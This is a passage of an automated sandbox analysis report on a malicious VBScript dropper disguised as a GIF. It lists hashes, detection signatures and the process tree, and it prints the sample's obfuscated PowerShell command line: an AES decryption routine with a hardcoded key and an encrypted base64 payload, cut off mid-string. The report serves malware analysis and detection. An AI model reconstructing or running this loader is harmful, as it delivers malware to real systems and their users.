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Windows
Analysis Report
creatednewwaterbottleforme.gIF.vbs
Overview
General Information
| Sample name: | creatednewwaterbottleforme.gIF.vbs |
| Analysis ID: | 1483435 |
| MD5: | 94734cb139b6b9025fd8a1acc56027db |
| SHA1: | b385368bcaadaca073849a413660b68e690ffba5 |
| SHA256: | 7dde4d5f845dbb2a078f6d0a290472d22cc845c6d6927cc0ada645ce050c7b08 |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Cscript/Wscript Uncommon Script Extension Execution
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 2104 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\creat ednewwater bottleform e.gIF.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 2144 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI6876 6530954276 3732062470 47974663Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIdSLZB gRjPNZ/qoc g/lH2aZHZ5 Jl+3cjSG1p /+zzQRClxM 6ERqs615j4 oDskIGVeU9 U0hKzWE2qL RhN3w3oPnP 9D3zRR0BjW DDOAHuyfLs ijMtAivmVq njEhi75GYn /731w2sw2L X9rePUu8Mu zZBPukpDJj P40wnUy5RX UPJoZQj2IJ HLLwPLeWAV LyYam2ryxj +aZ147db0X 48wxpHj1wz IXORWhGABO aWwaSlaHL3 gmVyt1aXV7 FBFES5Qqte bxGfvLhl4i UZNYV88W0L KeIoUGNbEQ Fkzf13DC0I by1tFcGdBD 33I0Q+W2Tv g+5qcSyDt3 9hGQc+cPQJ W6i+zS5Pda yxMRwfx6SH ZXH4Wqvwv1 PSLLBL05m+ vUyyZdWHee 1jJZK1IYpJ 679FIiTnjU qbP5xka/o9 mFQDN8rr6+ t3w5UZ8/qZ mHx1mVRoEQ QE9sfqxRdM 4XzLD6zM0x vTyXDiPtOr ir9Y56WYwI LgvowZC7rt lCr5vnoqSq CeZ+TBUh3I 8J+drjXQv5 Li4WPY7XJz FYZPaPMsWD QEjc1bMNXh VQ0Ukf2iM7 FfM7k6Nze4 qwdaBy3eAe QAbrjji8e0 i57J7CMED3 6TsJyhF0u0 3e/7/3gWxH IosnVfstQl 9YchNNE0mc QpHtSiF3PX t9EE9Ulz// 7YH3sp7ZQK ed24Zy6boP jqU9Ryt/0q HB2CgOA9dD gikPiavuiS SZwbmMVP3w zAzgXN3nBC y0PstnP16F jfPsLfXhDA 3NS1dtwaJQ 0liDeM77UG 2Ki38eJ/rr uKe9qgo+Fu He0xchT8/W f5NVYoxrcA SiFgam2A+W OxlafeNmbR 8szgcpCGnp Zl/NgN6Oss aRDn26lO+f P2jr2C/5Yc 3McAo0Ld51 WdEwKzWP8b 1W57wqS7gM MfAyZ4qaXw Bt0DPwXCDT 4lDwrWOtFJ tHKkrSrB29 mx+ZSiTGJd 4zwLYP4xGK n+mDlT0rPm QDAZM0Hkrf yo5dxlRZHs LsW0XCN3Eu XI+4932vGm 0QSE+1K4qu ce5wQtHb1z oJKShclZ3B MUvCdOwmEd kxUQXKG7Dt jDx8uVaNsA ElTRbqENfo Yu9eWmyI9L zKR9oZNPS+ COhZr5JHq9 hpvTMcsOld artIGHZY80 SQMOSaGVIg dyoyJGpNwd UZLlDYe8NY QDaAJUhcq2 7lHvZkYQVa jhD3kDVJQb OIf1lYyaY5 2Jn1dHnhXG k0nluzd0il XEHvzPHLaV eocoCd50UQ J+q1KgXN7g S2k+ZoaXga MSw9ouBoVy